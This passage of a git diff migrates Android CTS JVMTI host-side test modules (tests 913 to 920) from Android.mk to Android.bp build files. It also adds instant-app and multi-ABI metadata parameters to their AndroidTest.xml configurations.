-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
index a24a927..3b44442 100644
--- a/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-913/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.bp b/hostsidetests/jvmti/run-tests/test-913/app/Android.bp
new file mode 100644
index 0000000..3871fa6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest913DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
deleted file mode 100644
index a43ad90..0000000
--- a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest913DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-914/Android.bp b/hostsidetests/jvmti/run-tests/test-914/Android.bp
new file mode 100644
index 0000000..6024041
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-914/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest914HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest914DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-914/Android.mk b/hostsidetests/jvmti/run-tests/test-914/Android.mk
deleted file mode 100644
index 7732cb1..0000000
--- a/hostsidetests/jvmti/run-tests/test-914/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest914HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
index efbc392..5652db8 100644
--- a/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-914/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/Android.bp b/hostsidetests/jvmti/run-tests/test-914/app/Android.bp
new file mode 100644
index 0000000..4357172
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-914/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest914DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/Android.mk b/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
deleted file mode 100644
index 3b3d7bf..0000000
--- a/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest914DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-915/Android.bp b/hostsidetests/jvmti/run-tests/test-915/Android.bp
new file mode 100644
index 0000000..c67eeb4
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-915/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest915HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest915DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-915/Android.mk b/hostsidetests/jvmti/run-tests/test-915/Android.mk
deleted file mode 100644
index 384884a..0000000
--- a/hostsidetests/jvmti/run-tests/test-915/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest915HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
index 02239d7..eee4d4b 100644
--- a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/Android.bp b/hostsidetests/jvmti/run-tests/test-915/app/Android.bp
new file mode 100644
index 0000000..ba6d2c6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-915/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest915DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/Android.mk b/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
deleted file mode 100644
index ac85b08..0000000
--- a/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest915DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-917/Android.bp b/hostsidetests/jvmti/run-tests/test-917/Android.bp
new file mode 100644
index 0000000..05cc057
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-917/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest917HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest917DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-917/Android.mk b/hostsidetests/jvmti/run-tests/test-917/Android.mk
deleted file mode 100644
index ebf60f5..0000000
--- a/hostsidetests/jvmti/run-tests/test-917/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest917HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
index 5726e10..bb4ba24 100644
--- a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/Android.bp b/hostsidetests/jvmti/run-tests/test-917/app/Android.bp
new file mode 100644
index 0000000..353c142
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-917/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest917DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/Android.mk b/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
deleted file mode 100644
index 964fa9a..0000000
--- a/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest917DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-918/Android.bp b/hostsidetests/jvmti/run-tests/test-918/Android.bp
new file mode 100644
index 0000000..925c560
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-918/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest918HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest918DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-918/Android.mk b/hostsidetests/jvmti/run-tests/test-918/Android.mk
deleted file mode 100644
index f6ba563..0000000
--- a/hostsidetests/jvmti/run-tests/test-918/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest918HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
index 7d9b72a..85dbdda 100644
--- a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/Android.bp b/hostsidetests/jvmti/run-tests/test-918/app/Android.bp
new file mode 100644
index 0000000..6d7951a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-918/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest918DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/Android.mk b/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
deleted file mode 100644
index 9274386..0000000
--- a/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest918DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-919/Android.bp b/hostsidetests/jvmti/run-tests/test-919/Android.bp
new file mode 100644
index 0000000..059344b
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-919/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest919HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest919DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-919/Android.mk b/hostsidetests/jvmti/run-tests/test-919/Android.mk
deleted file mode 100644
index b14ab91..0000000
--- a/hostsidetests/jvmti/run-tests/test-919/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest919HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
index eb22191..d90b9e5 100644
--- a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/Android.bp b/hostsidetests/jvmti/run-tests/test-919/app/Android.bp
new file mode 100644
index 0000000..9839bd9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-919/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest919DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/Android.mk b/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
deleted file mode 100644
index 230d936..0000000
--- a/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest919DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-920/Android.bp b/hostsidetests/jvmti/run-tests/test-920/Android.bp
new file mode 100644
index 0000000..5c60573
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-920/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
